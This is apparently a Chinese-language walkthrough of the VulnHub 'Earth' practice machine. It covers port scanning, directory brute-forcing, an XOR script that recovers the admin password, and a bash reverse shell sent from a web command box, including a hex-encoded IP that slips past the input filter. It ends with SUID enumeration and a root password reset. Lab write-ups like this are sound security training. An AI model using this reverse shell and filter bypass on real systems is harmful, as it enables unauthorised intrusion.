vulnhub-Earth靶机
打靶训练第七台,一台思路不错的靶机。
信息收集
靶机IP

这里靶机IP为 192.168.56.135
直接扫描端口
nmap -A 192.168.56.135

得到靶机开放端口为 22 80 443.
直接访问80端口。

返回400。
继续查看nmap那里得到了两个DNS地址。
将地址写入host文件。
访问这两个域名。

得到信息。但不知道有什么用。
直接目录暴破。
得到在 http://earth.local/admin/login 存在登录界面。
https://terratest.earth.local/robots.txt



这里我们得到了新的信息,加密算法是 XOR,并且有一个testdata.txt文档用于测试加密,用户名是terra,先访问testdata.txt并保存。
借鉴网上的脚本
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))
将生成的十六进制 转文本。得到密码为earthclimatechangebad4humans
用户名 terra
密码 earthclimatechangebad4humans
https://earth.local/admin 这里去登录
反弹shell
登陆后 有一个命令执行框。

直接写反弹shell。
bash -i >& /dev/tcp/192.168.56.129/6666 0>&1

提示不可以远程连接。
看了其他的才知道IP地址需要16进制绕过。
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x81/6666 0>&1

成功得到 shell。
权限提升
查找可以提权的
find / -perm -u=s -type f 2>/dev/null

重设root
执行下这个 发现无法执行。
靶机无调试环境 用nc搞到kali上、调试得到是由于有几条目录没有。
将所需的目录添加上

重新执行

root密码重设为Earth
直接 su root登录

登录后可得到flag。